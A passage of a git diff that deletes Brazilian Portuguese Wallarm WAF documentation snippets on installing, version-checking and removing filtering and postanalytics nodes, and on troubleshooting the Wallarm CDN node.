será excluído permanentemente da lista de nós. - -3. Exclua a máquina com o módulo postanalytics antigo ou simplesmente limpe-a dos componentes do módulo postanalytics do Wallarm: - - === "Debian" - ```bash - sudo apt remove wallarm-node-tarantool - ``` - === "Ubuntu" - ```bash - sudo apt remove wallarm-node-tarantool - ``` - === "CentOS ou Amazon Linux 2.0.2021 e inferior" - ```bash - sudo yum remove wallarm-node-tarantool - ``` - === "AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - ```bash - sudo yum remove wallarm-node-tarantool - ``` - === "RHEL 8.x" - ```bash - sudo yum remove wallarm-node-tarantool - ``` \ No newline at end of file diff --git a/include-pt-BR/waf/installation/all-in-one-postanalytics.md b/include-pt-BR/waf/installation/all-in-one-postanalytics.md deleted file mode 100644 index dcf24c2815..0000000000 --- a/include-pt-BR/waf/installation/all-in-one-postanalytics.md +++ /dev/null @@ -1,21 +0,0 @@ -Para instalar o postanalytics separadamente com o instalador all-in-one, use: - -=== "Token da API" - ```bash - # Se estiver usando a versão x86_64: - sudo env WALLARM_LABELS='group=' sh wallarm-4.8.0.x86_64-glibc.sh postanalytics - - # Se estiver usando a versão ARM64: - sudo env WALLARM_LABELS='group=' sh wallarm-4.8.0.aarch64-glibc.sh postanalytics - ``` - - A variável `WALLARM_LABELS` define o grupo ao qual o nó será adicionado (usado para agrupamento lógico de nós no Wallarm Console UI). - -=== "Token do nó" - ```bash - # Se estiver usando a versão x86_64: - sudo sh wallarm-4.8.0.x86_64-glibc.sh postanalytics - - # Se estiver usando a versão ARM64: - sudo sh wallarm-4.8.0.aarch64-glibc.sh postanalytics - ``` \ No newline at end of file diff --git a/include-pt-BR/waf/installation/all-in-one-requirements.md b/include-pt-BR/waf/installation/all-in-one-requirements.md deleted file mode 100644 index d6b817269e..0000000000 --- a/include-pt-BR/waf/installation/all-in-one-requirements.md +++ /dev/null @@ -1,21 +0,0 @@ -* Acesso à conta com a função de **Administrador** no Console Wallarm para a [Nuvem dos EUA](https://us1.my.wallarm.com/) ou [Nuvem da UE](https://my.wallarm.com/). -* Sistemas operacionais suportados: - - * Debian 10, 11 e 12.x - * Ubuntu LTS 18.04, 20.04, 22.04 - * CentOS 7, 8 Stream, 9 Stream - * Alma/Rocky Linux 9 - * RHEL 8.x - * RHEL 9.x - * Oracle Linux 8.x - * Oracle Linux 9.x - * Redox - * SuSe Linux - * Outros (a lista está sempre se expandindo, contate a [equipe de suporte Wallarm](mailto:support@wallarm.com) para verificar se o seu sistema operacional está na lista ) - -* Acesso a `https://meganode.wallarm.com` para baixar o instalador completo Wallarm. Certifique-se de que o acesso não está bloqueado por um firewall. -* Acesso a `https://us1.api.wallarm.com` para trabalhar com a Nuvem Wallarm dos EUA ou a `https://api.wallarm.com` para trabalhar com a Nuvem Wallarm da UE. Se o acesso só pode ser configurado via servidor proxy, então use as [instruções][configure-proxy-balancer-instr]. -* Access to the IP addresses below for downloading updates to attack detection rules, as well as retrieving precise IPs for your allowlisted, denylisted, or graylisted countries, regions, or data centers - - --8<-- "../include/wallarm-cloud-ips.md" -* Execução de todos os comandos como um superusuário (por exemplo, `root`). \ No newline at end of file diff --git a/include-pt-BR/waf/installation/all-in-one-token.md b/include-pt-BR/waf/installation/all-in-one-token.md deleted file mode 100644 index 2235234848..0000000000 --- a/include-pt-BR/waf/installation/all-in-one-token.md +++ /dev/null @@ -1,14 +0,0 @@ -Para instalar o node, você precisará de um token Wallarm do [tipo apropriado][wallarm-token-types]. Para preparar um token: - -=== "Token de API" - - 1. Abra o Console Wallarm → **Configurações** → **Tokens de API** no [US Cloud](https://us1.my.wallarm.com/settings/api-tokens) ou [EU Cloud](https://my.wallarm.com/settings/api-tokens). - 1. Encontre ou crie um token de API com a função de origem `Deploy`. - 1. Copie este token. - -=== "Token de Node" - - 1. Abra o Console Wallarm → **Nós** no [US Cloud](https://us1.my.wallarm.com/nodes) ou [EU Cloud](https://my.wallarm.com/nodes). - 1. Faça uma das seguintes ações: - * Crie o nó do tipo **Nó Wallarm** e copie o token gerado. - * Use o grupo de nós existente - copie o token usando o menu do nó → **Copiar token**. \ No newline at end of file diff --git a/include-pt-BR/waf/installation/all-in-one-upgrade-requirements.md b/include-pt-BR/waf/installation/all-in-one-upgrade-requirements.md deleted file mode 100644 index 8ce7c1291d..0000000000 --- a/include-pt-BR/waf/installation/all-in-one-upgrade-requirements.md +++ /dev/null @@ -1,4 +0,0 @@ -* Acesso à conta com a função de **Administrador** no Console Wallarm para [US Cloud](https://us1.my.wallarm.com/) ou [EU Cloud](https://my.wallarm.com/). -* Acesso a `https://meganode.wallarm.com` para baixar o instalador Wallarm all-in-one. Certifique-se de que o acesso não está bloqueado por um firewall. -* Acesso a `https://us1.api.wallarm.com` para trabalhar com o US Wallarm Cloud ou para `https://api.wallarm.com` para trabalhar com o EU Wallarm Cloud. Se o acesso pode ser configurado somente via servidor proxy, então use as [instruções][configure-proxy-balancer-instr]. -* Execução de todos os comandos como superusuário (por exemplo, `root`). \ No newline at end of file diff --git a/include-pt-BR/waf/installation/all-in-one/separate-postanalytics-reqs.md b/include-pt-BR/waf/installation/all-in-one/separate-postanalytics-reqs.md deleted file mode 100644 index 3d0703521e..0000000000 --- a/include-pt-BR/waf/installation/all-in-one/separate-postanalytics-reqs.md +++ /dev/null @@ -1,5 +0,0 @@ -* Acesso à conta com a função de **Administrador** e autenticação de dois fatores desativada no Console Wallarm para a [Nuvem dos EUA](https://us1.my.wallarm.com/) ou [Nuvem da UE](https://my.wallarm.com/) -* Execução de todos os comandos como superusuário (por exemplo, `root`) -* Acesso a `https://meganode.wallarm.com` para baixar o instalador all-in-one da Wallarm. Certifique-se de que o acesso não está bloqueado por um firewall -* Acesso a `https://us1.api.wallarm.com` se estiver trabalhando com a Nuvem Wallarm dos EUA ou a `https://api.wallarm.com` se estiver trabalhando com a Nuvem Wallarm da UE. Se o acesso pode ser configurado apenas via servidor proxy, então use as [instruções][configure-proxy-balancer-instr] -* Editor de texto instalado **vim**, **nano**, ou qualquer outro. Nos comandos neste artigo, **vim** é usado \ No newline at end of file diff --git a/include-pt-BR/waf/installation/all-in-one/use-cases.md b/include-pt-BR/waf/installation/all-in-one/use-cases.md deleted file mode 100644 index 9f8639df31..0000000000 --- a/include-pt-BR/waf/installation/all-in-one/use-cases.md +++ /dev/null @@ -1,4 +0,0 @@ -Dentre todas as [opções de implementação do Wallarm][platform] suportadas, esta solução é a recomendada para os seguintes **casos de uso**: - -* Sua infraestrutura é baseada em bare metal ou máquinas virtuais, sem o uso de métodos baseados em contêineres. Normalmente, essas configurações são gerenciadas com ferramentas de Infraestrutura como Código (IaC) como o Ansible ou SaltStack. -* Seus serviços são construídos em torno do NGINX. O Wallarm pode estender suas funcionalidades usando o instalador tudo-em-um. \ No newline at end of file diff --git a/include-pt-BR/waf/installation/already-deployed-cloud-instance.md b/include-pt-BR/waf/installation/already-deployed-cloud-instance.md deleted file mode 100644 index 1bada8715e..0000000000 --- a/include-pt-BR/waf/installation/already-deployed-cloud-instance.md +++ /dev/null @@ -1,10 +0,0 @@ -!!! info "Se você implantar vários nós Wallarm" - Todos os nós Wallarm implantados em seu ambiente devem ser das **mesmas versões**. Os módulos de pós-análise instalados em servidores separados também devem ser das **mesmas versões**. - - Antes da instalação do nó adicional, certifique-se de que a versão dele corresponde à versão dos módulos já implantados. Se a versão do módulo implantado estiver [desatualizada ou será desatualizada em breve (`4.0` ou inferior)][versioning-policy], atualize todos os módulos para a versão mais recente. - - Para verificar a versão lançada, conecte-se à instância em execução e execute o seguinte comando: - - ``` - apt list wallarm-node - ``` \ No newline at end of file diff --git a/include-pt-BR/waf/installation/already-deployed-envoy-docker-image.md b/include-pt-BR/waf/installation/already-deployed-envoy-docker-image.md deleted file mode 100644 index 89166ddbb7..0000000000 --- a/include-pt-BR/waf/installation/already-deployed-envoy-docker-image.md +++ /dev/null @@ -1,10 +0,0 @@ -!!! info "Se você implantar vários nós Wallarm" - Todos os nós Wallarm implantados em seu ambiente devem ser das **mesmas versões**. As versões dos módulos de pós-análise instalados em servidores separados também devem ser as **mesmas**. - - Antes da instalação do nó adicional, certifique-se de que sua versão corresponde à versão dos módulos já implantados. Se a versão do módulo implantado estiver [descontinuada ou será descontinuada em breve (`4.0` ou inferior)][versioning-policy], atualize todos os módulos para a última versão. - - Para verificar a versão instalada, execute o seguinte comando no contêiner: - - ```bash - yum list wallarm-node - ``` \ No newline at end of file diff --git a/include-pt-BR/waf/installation/already-deployed-nginx-docker-image.md b/include-pt-BR/waf/installation/already-deployed-nginx-docker-image.md deleted file mode 100644 index 6d33c53ddd..0000000000 --- a/include-pt-BR/waf/installation/already-deployed-nginx-docker-image.md +++ /dev/null @@ -1,10 +0,0 @@ -!!! info "Se você implantar vários nós Wallarm" - Todos os nós Wallarm implantados em seu ambiente devem ser das **mesmas versões**. Os módulos de pós-análise instalados em servidores separados também devem ser das **mesmas versões**. - - Antes da instalação do nó adicional, certifique-se de que a versão dele corresponde à versão dos módulos já implantados. Se a versão do módulo implantado estiver [descontinuada ou será descontinuada em breve (`4.0` ou inferior)][versioning-policy], atualize todos os módulos para a versão mais recente. - - Para verificar a versão instalada, execute o seguinte comando no contêiner: - - ```bash - apt list wallarm-node - ``` diff --git a/include-pt-BR/waf/installation/already-deployed-sidecar-helm.md b/include-pt-BR/waf/installation/already-deployed-sidecar-helm.md deleted file mode 100644 index 462dbf3870..0000000000 --- a/include-pt-BR/waf/installation/already-deployed-sidecar-helm.md +++ /dev/null @@ -1,6 +0,0 @@ -!!! info "Se você implantar vários nós Wallarm" - Todos os nós Wallarm implantados em seu ambiente devem ser da **mesma versão**. Os módulos de pós-análise instalados em servidores separados também devem ser da **mesma versão**. - - Antes de instalar o nó adicional, certifique-se de que sua versão corresponda à versão dos módulos já implantados. Se a versão do módulo implantado estiver [desatualizada ou será desatualizada em breve (`4.0` ou inferior)][versioning-policy], atualize todos os módulos para a versão mais recente. - - A versão da imagem do nó de filtragem Wallarm implantado é especificada no arquivo de configuração do gráfico Helm → `wallarm.image.tag`. \ No newline at end of file diff --git a/include-pt-BR/waf/installation/already-deployed-sidecar-manifests.md b/include-pt-BR/waf/installation/already-deployed-sidecar-manifests.md deleted file mode 100644 index f4aedf59dc..0000000000 --- a/include-pt-BR/waf/installation/already-deployed-sidecar-manifests.md +++ /dev/null @@ -1,6 +0,0 @@ -!!! info "Se você implantar vários nós Wallarm" - Todos os nós Wallarm implantados em seu ambiente devem ser das **mesmas versões**. Os módulos de pós-análise instalados em servidores separados também devem ser das **mesmas versões**. - - Antes da instalação do nó adicional, certifique-se de que sua versão corresponde à versão dos módulos já implantados. Se a versão do módulo implantado estiver [obsoleta ou será obsoleta em breve (`4.0` ou inferior)][versioning-policy], atualize todos os módulos para a versão mais recente. - - A versão da imagem do nó de filtragem Wallarm implantada é especificada no modelo de Implantação → seção `spec.template.spec.containers` → `image` do contêiner Wallarm. \ No newline at end of file diff --git a/include-pt-BR/waf/installation/already-installed-waf-postanalytics-36.md b/include-pt-BR/waf/installation/already-installed-waf-postanalytics-36.md deleted file mode 100644 index 28a373775a..0000000000 --- a/include-pt-BR/waf/installation/already-installed-waf-postanalytics-36.md +++ /dev/null @@ -1,54 +0,0 @@ -!!! info "Se você implantar vários nós do Wallarm" - Todos os nós do Wallarm implantados no seu ambiente devem ser das **mesmas versões**. Os módulos de pós-análise instalados em servidores separados também devem ser das **mesmas versões**. - - Antes de instalar o nó adicional, por favor, certifique-se de que a versão dele corresponde à versão dos módulos já implantados. Se a versão do módulo implantado estiver [desatualizada ou em breve será desatualizada (`4.0` ou inferior)][política-de-versão], atualize todos os módulos para a versão mais recente. - - Para verificar a versão instalada do nó de filtragem e da pós-análise instalados no mesmo servidor: - - === "Debian" - ```bash - apt list wallarm-node - ``` - === "Ubuntu" - ```bash - apt list wallarm-node - ``` - === "CentOS ou Amazon Linux 2.0.2021x e inferior" - ```bash - yum list wallarm-node - ``` - === "AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - ```bash - yum list wallarm-node - ``` - - Para conferir as versões do nó de filtragem e de pós-análise instaladas em servidores diferentes: - - === "Debian" - ```bash - # execute no servidor com o nó de filtragem Wallarm instalado - apt list wallarm-node-nginx - # execute no servidor com a pós-análise instalada - apt list wallarm-node-tarantool - ``` - === "Ubuntu" - ```bash - # execute no servidor com o nó de filtragem Wallarm instalado - apt list wallarm-node-nginx - # execute no servidor com a pós-análise instalada - apt list wallarm-node-tarantool - ``` - === "CentOS ou Amazon Linux 2.0.2021x e inferior" - ```bash - # execute no servidor com o nó de filtragem Wallarm instalado - yum list wallarm-node-nginx - # execute no servidor com a pós-análise instalada - yum list wallarm-node-tarantool - ``` - === "AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - ```bash - # execute no servidor com o nó de filtragem Wallarm instalado - yum list wallarm-node-nginx - # execute no servidor com a pós-análise instalada - yum list wallarm-node-tarantool - ``` \ No newline at end of file diff --git a/include-pt-BR/waf/installation/already-installed-waf-postanalytics-distr-36.md b/include-pt-BR/waf/installation/already-installed-waf-postanalytics-distr-36.md deleted file mode 100644 index 9d8ee16a6b..0000000000 --- a/include-pt-BR/waf/installation/already-installed-waf-postanalytics-distr-36.md +++ /dev/null @@ -1,43 +0,0 @@ -!!! info "Se você implantar vários nós Wallarm" - Todos os nós Wallarm implantados em seu ambiente devem ser das **mesmas versões**. Os módulos de pós-análises instalados em servidores separados também devem ser das **mesmas versões**. - - Antes da instalação do nó adicional, certifique-se de que sua versão corresponda à versão dos módulos já implantados. Se a versão do módulo implantado está [descontinuada ou será descontinuada em breve (`4.0` ou inferior)][versioning-policy], atualize todos os módulos para a versão mais recente. - - Para verificar a versão do nó de filtragem e o módulo de pós-análises implantados no mesmo servidor: - - === "Debian" - ```bash - apt list wallarm-node - ``` - === "CentOS" - ```bash - yum list wallarm-node - ``` - === "AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - ```bash - yum list wallarm-node - ``` - - Para verificar a versão do nó de filtragem e o módulo de pós-análises implantados em servidores diferentes: - - === "Debian" - ```bash - # execute a partir do servidor com o nó de filtragem Wallarm instalado - apt list wallarm-node-nginx - # execute a partir do servidor com pós-análises instaladas - apt list wallarm-node-tarantool - ``` - === "CentOS" - ```bash - # execute a partir do servidor com o nó de filtragem Wallarm instalado - yum list wallarm-node-nginx - # execute a partir do servidor com pós-análises instaladas - yum list wallarm-node-tarantool - ``` - === "AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - ```bash - # execute a partir do servidor com o nó de filtragem Wallarm instalado - yum list wallarm-node-nginx - # execute a partir do servidor com pós-análises instaladas - yum list wallarm-node-tarantool - ``` \ No newline at end of file diff --git a/include-pt-BR/waf/installation/already-installed-waf-postanalytics-distr.md b/include-pt-BR/waf/installation/already-installed-waf-postanalytics-distr.md deleted file mode 100644 index ebc0251b0b..0000000000 --- a/include-pt-BR/waf/installation/already-installed-waf-postanalytics-distr.md +++ /dev/null @@ -1,32 +0,0 @@ -!!! info "Se você implantar vários nós Wallarm" - Todos os nós Wallarm implantados em seu ambiente devem ser das **mesmas versões**. Os módulos de postanalíticos instalados em servidores separados também devem ser das **mesmas versões**. - - Antes da instalação do nó adicional, por favor, certifique-se de que sua versão corresponde à versão dos módulos já implantados. Se a versão do módulo implantado está [descontinuada ou será descontinuada em breve (`4.0` ou inferior)][versioning-policy], atualize todos os módulos para a versão mais recente. - - Para verificar a versão do nó de filtragem e do módulo de postanalíticos implantado no mesmo servidor: - - === "Debian" - ```bash - apt list wallarm-node - ``` - === "CentOS" - ```bash - yum list wallarm-node - ``` - - Para verificar a versão do nó de filtragem e do módulo de postanalíticos implantado em servidores diferentes: - - === "Debian" - ```bash - # execute a partir do servidor com o nó de filtragem Wallarm instalado - apt list wallarm-node-nginx - # execute a partir do servidor com o postanalíticos instalado - apt list wallarm-node-tarantool - ``` - === "CentOS" - ```bash - # execute a partir do servidor com o nó de filtragem Wallarm instalado - yum list wallarm-node-nginx - # execute a partir do servidor com o postanalíticos instalado - yum list wallarm-node-tarantool - ``` diff --git a/include-pt-BR/waf/installation/already-installed-waf-postanalytics-kong.md b/include-pt-BR/waf/installation/already-installed-waf-postanalytics-kong.md deleted file mode 100644 index 056a98b421..0000000000 --- a/include-pt-BR/waf/installation/already-installed-waf-postanalytics-kong.md +++ /dev/null @@ -1,43 +0,0 @@ -!!! info "Se você implantar vários nós Wallarm" - Todos os nós Wallarm implantados em seu ambiente devem ser das **mesmas versões**. Os módulos de pós-analítica instalados em servidores separados também devem ser das **mesmas versões**. - - Antes da instalação do nó adicional, por favor, certifique-se de que sua versão corresponde à versão dos módulos já implantados. Se a versão do módulo implantado estiver [desatualizada ou será desatualizada em breve (`4.0` ou inferior)][versioning-policy], atualize todos os módulos para a versão mais recente. - - Para verificar a versão do nó de filtragem e do módulo de pós-analítica implantados no mesmo servidor: - - === "Debian" - ```bash - apt list wallarm-node - ``` - === "Ubuntu" - ```bash - apt list wallarm-node - ``` - === "CentOS" - ```bash - yum list wallarm-node - ``` - - Para verificar a versão do nó de filtragem e do módulo de pós-analítica implantados em servidores diferentes: - - === "Debian" - ```bash - # executar do servidor com o nó de filtragem Wallarm instalado - apt list wallarm-node-nginx - # executar do servidor com o postanalytics instalado - apt list wallarm-node-tarantool - ``` - === "Ubuntu" - ```bash - # executar do servidor com o nó de filtragem Wallarm instalado - apt list wallarm-node-nginx - # executar do servidor com o postanalytics instalado - apt list wallarm-node-tarantool - ``` - === "CentOS" - ```bash - # executar do servidor com o nó de filtragem Wallarm instalado - yum list wallarm-node-nginx - # executar do servidor com o postanalytics instalado - yum list wallarm-node-tarantool - ``` \ No newline at end of file diff --git a/include-pt-BR/waf/installation/already-installed-waf-postanalytics.md b/include-pt-BR/waf/installation/already-installed-waf-postanalytics.md deleted file mode 100644 index 67bca09f8b..0000000000 --- a/include-pt-BR/waf/installation/already-installed-waf-postanalytics.md +++ /dev/null @@ -1,43 +0,0 @@ -!!! info "Se você implantar vários nós do Wallarm" - Todos os nós do Wallarm implantados no seu ambiente devem ser das **mesmas versões**. Os módulos de pós-análise instalados em servidores separados também devem ser das **mesmas versões**. - - Antes da instalação do nó adicional, certifique-se de que sua versão corresponda à versão dos módulos já implantados. Se a versão do módulo implantado estiver [descontinuada ou será descontinuada em breve (`4.0` ou inferior)][versioning-policy], atualize todos os módulos para a versão mais recente. - - Para verificar a versão instalada do nó de filtragem e da pós-análise instalados no mesmo servidor: - - === "Debian" - ```bash - apt list wallarm-node - ``` - === "Ubuntu" - ```bash - apt list wallarm-node - ``` - === "CentOS ou Amazon Linux 2.0.2021x e inferior" - ```bash - yum list wallarm-node - ``` - - Para verificar as versões do nó de filtragem e da pós-análise instalados em servidores diferentes: - - === "Debian" - ```bash - # execute do servidor com o nó de filtragem Wallarm instalado - apt list wallarm-node-nginx - # execute do servidor com a pós-análise instalada - apt list wallarm-node-tarantool - ``` - === "Ubuntu" - ```bash - # execute do servidor com o nó de filtragem Wallarm instalado - apt list wallarm-node-nginx - # execute do servidor com a pós-análise instalada - apt list wallarm-node-tarantool - ``` - === "CentOS ou Amazon Linux 2.0.2021x e inferior" - ```bash - # execute do servidor com o nó de filtragem Wallarm instalado - yum list wallarm-node-nginx - # execute do servidor com a pós-análise instalada - yum list wallarm-node-tarantool - ``` \ No newline at end of file diff --git a/include-pt-BR/waf/installation/basic-reqs-for-upgrades.md b/include-pt-BR/waf/installation/basic-reqs-for-upgrades.md deleted file mode 100644 index 33632a4005..0000000000 --- a/include-pt-BR/waf/installation/basic-reqs-for-upgrades.md +++ /dev/null @@ -1,2 +0,0 @@ -* Acesso à conta com a função de **Administrador** no Console Wallarm no [US Cloud](https://us1.my.wallarm.com/) ou [EU Cloud](https://my.wallarm.com/) -* Acesso a `https://us1.api.wallarm.com` se estiver trabalhando com o Wallarm Cloud dos EUA ou para `https://api.wallarm.com` se estiver trabalhando com o Wallarm Cloud da UE. Por favor, certifique-se de que o acesso não está bloqueado por um firewall \ No newline at end of file diff --git a/include-pt-BR/waf/installation/cdn-node/cdn-node-configuration-options.md b/include-pt-BR/waf/installation/cdn-node/cdn-node-configuration-options.md deleted file mode 100644 index 9d3efaa6ec..0000000000 --- a/include-pt-BR/waf/installation/cdn-node/cdn-node-configuration-options.md +++ /dev/null @@ -1,6 +0,0 @@ -* [Configuração do modo de filtragem de tráfego][operation-mode-rule-docs] -* [Personalização das regras de filtragem de tráfego][rules-docs] -* [Permissões de endereço IP, listas de negação e listas cinza][ip-lists-docs] -* Notificações de eventos do sistema configuradas por meio de [integrações nativas com ferramentas DevOps][integration-docs] e [gatilhos][trigger-docs] -* [Usando a seção **Nós** da interface do usuário][nodes-ui-docs] para atualizar o endereço de origem do recurso protegido, carregar o certificado SSL/TLS personalizado e excluir nós da CDN -* [Selecionando se deve usar o Varnish Cache][using-varnish-cache] para acelerar a entrega do seu conteúdo. \ No newline at end of file diff --git a/include-pt-BR/waf/installation/cdn-node/cdn-node-deployment-requirements.md b/include-pt-BR/waf/installation/cdn-node/cdn-node-deployment-requirements.md deleted file mode 100644 index 05f19d9f39..0000000000 --- a/include-pt-BR/waf/installation/cdn-node/cdn-node-deployment-requirements.md +++ /dev/null @@ -1,4 +0,0 @@ -* O site a ser protegido deve ser um domínio de terceiro nível (ou inferior) -* O IPv4 associado ao site (IPv6 não é suportado) -* Permissões de acesso suficientes para editar os registros DNS do domínio -* O papel de **Administrador** [role][user-roles-docs] atribuído ao usuário que configura o nó CDN \ No newline at end of file diff --git a/include-pt-BR/waf/installation/cdn-node/cdn-node-troubleshooting.md b/include-pt-BR/waf/installation/cdn-node/cdn-node-troubleshooting.md deleted file mode 100644 index 5a6654f3f2..0000000000 --- a/include-pt-BR/waf/installation/cdn-node/cdn-node-troubleshooting.md +++ /dev/null @@ -1,69 +0,0 @@ -### O que significam os status do nó CDN? - -Os seguintes status podem aparecer no Console Wallarm → **Nós** para nós CDN: - -* **Registrando**: Wallarm registra o nó CDN no provedor de nuvem. - - Ação necessária: aguarde pelo status **Requer CNAME** para adicionar o registro Wallarm CNAME aos registros DNS do domínio protegido. -* **Requer CNAME**: o registro Wallarm CNAME não está adicionado aos registros DNS do domínio protegido ou está adicionado, mas ainda não propagado. - - Ação necessária: adicione o registro CNAME fornecido pela Wallarm aos registros DNS do domínio protegido ou aguarde as mudanças surtirem efeito na Internet. - - Se as mudanças não surtirem efeito em mais de 24 horas, verifique se o seu provedor de domínio atualizou com sucesso os registros DNS. Se sim, mas o status **Ainda não propagado** ainda é exibido no Console Wallarm, entre em contato com o [suporte técnico da Wallarm](mailto:support@wallarm.com). - - O próximo status esperado é **Ativo**. -* **Configurando**: Wallarm processa o endereço de origem alterado ou certificado SSL/TLS. - - Ação necessária: aguarde o status **Ativo**. -* **Ativo**: o nó CDN da Wallarm mitiga o tráfego mal-intencionado. - - Ação necessária: nenhuma. Você pode monitorar os [eventos][events-docs] que o nó CDN detecta. -* **Excluindo**: Wallarm exclui o nó CDN. - - Ação necessária: nenhuma, aguarde a exclusão ser concluída. - -### Como identificar o registro CNAME propagado? - -A seção **Nós** do Console Wallarm exibe o status atual de se o registro Wallarm CNAME surtiu efeito na Internet. Se o registro CNAME estiver propagado, o status do nó CDN é **Ativo**. - -Além disso, você pode verificar os cabeçalhos de resposta HTTP com a seguinte solicitação: - -```bash -curl -v -``` - -Se o registro Wallarm CNAME estiver propagado, a resposta conterá os cabeçalhos `section-io-*`. - -Se o registro CNAME não for propagado em mais de 24 horas, verifique se o seu provedor de domínio atualizou com sucesso os registros DNS. Se sim, mas o status **Ainda não propagado** ainda é exibido no Console Wallarm, entre em contato com o [suporte técnico da Wallarm](mailto:support@wallarm.com). - -### O nó CDN está destacado em vermelho na seção **Nós**. O que isso significa? - -Se o nó CDN estiver destacado em vermelho na seção **Nós**, ocorreu um erro durante seu registro ou configuração pelos seguintes motivos possíveis: - -* Erro desconhecido durante o registro do nó no provedor de nuvem de terceiros - - Ação necessária: contate o [suporte técnico da Wallarm](mailto:support@wallarm.com). -* Certificado SSL/TLS personalizado inválido - - Ação necessária: certifique-se de que o certificado carregado é válido. Se não for, faça o upload do válido. - -O nó CDN destacado em vermelho não faz proxy de solicitações e, como resultado, não mitiga o tráfego mal-intencionado. - -### Por que o nó CDN pode desaparecer da lista de nós no Console Wallarm? - -Wallarm exclui nós CDN com registros CNAME que permanecem inalterados por 10 ou mais dias desde o momento da criação do nó. - -Se você descobrir que o nó CDN desapareceu, crie um novo nó. - -### Por que há um atraso na atualização do conteúdo protegido pelo nó CDN? - -Se o seu site é protegido pelo nó CDN e você notar que, ao mudar seus dados, o site é atualizado com um atraso sensível, a provável razão pode ser o [Varnish Cache][using-varnish-cache] que acelera a entrega do seu conteúdo, mas a cópia armazenada em cache no CDN pode ser atualizada com um atraso. - -Exemplo: - -1. Você tem o Varnish Cache ativado para o seu nó CDN. -1. Você atualizou os preços em seu site. -1. Todas as solicitações são feitas via proxy via CDN, e o cache não é atualizado imediatamente. -1. Os usuários do site veem os preços antigos por algum tempo. - -Para resolver o problema, você pode desativar o Varnish Cache. Para fazer isso, vá para **Nós** → menu do nó CDN → **Desativar Varnish Cache**. \ No newline at end of file diff --git a/include-pt-BR/waf/installation/cdn-node/how-cdn-node-works.md b/include-pt-BR/waf/installation/cdn-node/how-cdn-node-works.md deleted file mode 100644 index 74d9af76fe..0000000000 --- a/include-pt-BR/waf/installation/cdn-node/how-cdn-node-works.md +++ /dev/null @@ -1,19 +0,0 @@ -O nó CDN do Wallarm opera como um proxy reverso para o servidor protegido. Ele analisa o tráfego de entrada, mitiga solicitações maliciosas e encaminha solicitações legítimas para o servidor protegido. - -![Esquema de operação do nó CDN][cdn-node-operation-scheme] - -!!! warning "O que pode ser protegido com o nó CDN" - Com o nó CDN você pode proteger os domínios de terceiro nível (ou inferior, como 4º, 5º, etc.). Por exemplo, você pode criar um nó CDN para `ple.example.com`, mas não para `example.com`. - -Quanto às outras características do nó CDN do Wallarm: - -* Hospedado pelo provedor de nuvem de terceiros (Section.io), portanto, nenhum recurso é necessário da sua infraestrutura para implantar o nó CDN. - - !!! info "Upload de dados de solicitação para o provedor de nuvem de terceiros" - Alguns dados sobre as solicitações processadas são carregados para o serviço Lumen. -* Faz o upload de alguns dados de solicitação para a Nuvem Wallarm. [Saiba mais sobre os dados carregados e a redução dos dados sensíveis][data-to-wallarm-cloud-docs] -* [Opera][operation-modes-docs] no modo de **bloqueio seguro** confiando no [conteúdo da lista de IPs cinza][graylist-populating-docs] para identificar tráfego suspeito e bloqueá-lo. - - Para alterar o modo, use a [regra][operation-mode-rule-docs] correspondente. -* O nó CDN é totalmente configurado via Wallarm Console UI. A única configuração a ser alterada de outra forma é adicionar o registro CNAME do Wallarm aos registros de DNS do recurso protegido. -* Você pode solicitar que a [equipe de suporte do Wallarm](mailto:support@wallarm.com) realize a [configuração do aplicativo][link-app-conf] para o seu nó. \ No newline at end of file diff --git a/include-pt-BR/waf/installation/checking-compatibility-of-separate-postanalytics-and-primary-packages.md b/include-pt-BR/waf/installation/checking-compatibility-of-separate-postanalytics-and-primary-packages.md deleted file mode 100644 index be3d2a56eb..0000000000 --- a/include-pt-BR/waf/installation/checking-compatibility-of-separate-postanalytics-and-primary-packages.md +++ /dev/null @@ -1,40 +0,0 @@ -!!! info "A versão do pacote `wallarm-node-tarantool`" - O pacote `wallarm-node-tarantool` deve ser da mesma versão ou superior aos pacotes do módulo principal NGINX-Wallarm instalados em um servidor separado. - - Para verificar as versões: - - === "Debian" - ```bash - # execute no servidor com o módulo principal NGINX-Wallarm - apt list wallarm-node-nginx - # execute no servidor com o módulo pós-analítico - apt list wallarm-node-tarantool - ``` - === "Ubuntu" - ```bash - # execute no servidor com o módulo principal NGINX-Wallarm - apt list wallarm-node-nginx - # execute no servidor com o módulo pós-analítico - apt list wallarm-node-tarantool - ``` - === "CentOS ou Amazon Linux 2.0.2021x e inferior" - ```bash - # execute no servidor com o módulo principal NGINX-Wallarm - yum list wallarm-node-nginx - # execute no servidor com o módulo pós-analítico - yum list wallarm-node-tarantool - ``` - === "AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - ```bash - # execute no servidor com o módulo principal NGINX-Wallarm - yum list wallarm-node-nginx - # execute no servidor com o módulo pós-analítico - yum list wallarm-node-tarantool - ``` - === "RHEL 8.x" - ```bash - # execute no servidor com o módulo principal NGINX-Wallarm - yum list wallarm-node-nginx - # execute no servidor com o módulo pós-analítico - yum list wallarm-node-tarantool - ``` \ No newline at end of file diff --git a/include-pt-BR/waf/installation/cloud-platforms/alibaba-ecs-use-cases.md b/include-pt-BR/waf/installation/cloud-platforms/alibaba-ecs-use-cases.md deleted file mode 100644 index 4a68573a34..0000000000 --- a/include-pt-BR/waf/installation/cloud-platforms/alibaba-ecs-use-cases.md +++ /dev/null @@ -1,4 +0,0 @@ -Dentre todas as [opções de implantação do Wallarm][plataforma] suportadas, recomendamos a implantação do Wallarm na Alibaba Cloud ECS usando a imagem Docker nos seguintes **casos de uso**: - -* Se suas aplicações aproveitam uma arquitetura de microsserviços, e já estão contêinerizadas e operacionais na Alibaba Cloud ECS. -* Se você necessita de um controle fino sobre cada contêiner, a imagem Docker se sobressai. Ela proporciona um maior nível de isolamento de recursos do que normalmente é possível com as implantações tradicionais baseadas em VM. \ No newline at end of file diff --git a/include-pt-BR/waf/installation/cloud-platforms/ami-use-cases.md b/include-pt-BR/waf/installation/cloud-platforms/ami-use-cases.md deleted file mode 100644 index 7e77017026..0000000000 --- a/include-pt-BR/waf/installation/cloud-platforms/ami-use-cases.md +++ /dev/null @@ -1,4 +0,0 @@ -Dentre todas as opções de implantação do [Wallarm suportadas][deployment-platform-docs], AMI é recomendado para a implantação do Wallarm 